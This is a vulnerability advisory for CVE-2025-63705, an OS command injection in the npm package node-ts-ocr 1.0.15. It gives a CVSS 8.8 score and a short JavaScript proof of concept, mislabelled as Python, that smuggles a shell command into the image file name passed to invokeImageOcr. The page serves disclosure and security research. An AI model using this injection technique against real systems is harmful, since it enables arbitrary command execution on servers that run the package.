NPM package node-ts-ocr 1.0.15 is vulnerable to OS Command Injection via the invokeImageOcr function in src/index.js.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
node-ts-ocr 1.0.15
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2025-63705: OS Command Injection in node-ts-ocr
// Description: Exploiting the invokeImageOcr function to execute arbitrary OS commands.
const { invokeImageOcr } = require('node-ts-ocr');
// Attempting to inject a command using a semicolon separator
// This payload tries to create a file named 'pwned' in /tmp
const maliciousPayload = "valid_image.jpg; touch /tmp/pwned";
console.log(`[+] Sending payload: ${maliciousPayload}`);
invokeImageOcr({
image: maliciousPayload
}).then((result) => {
console.log("[+] OCR function returned (command likely executed):", result);
}).catch((error) => {
console.log("[-] Error occurred (command may have still executed before failure):", error);
});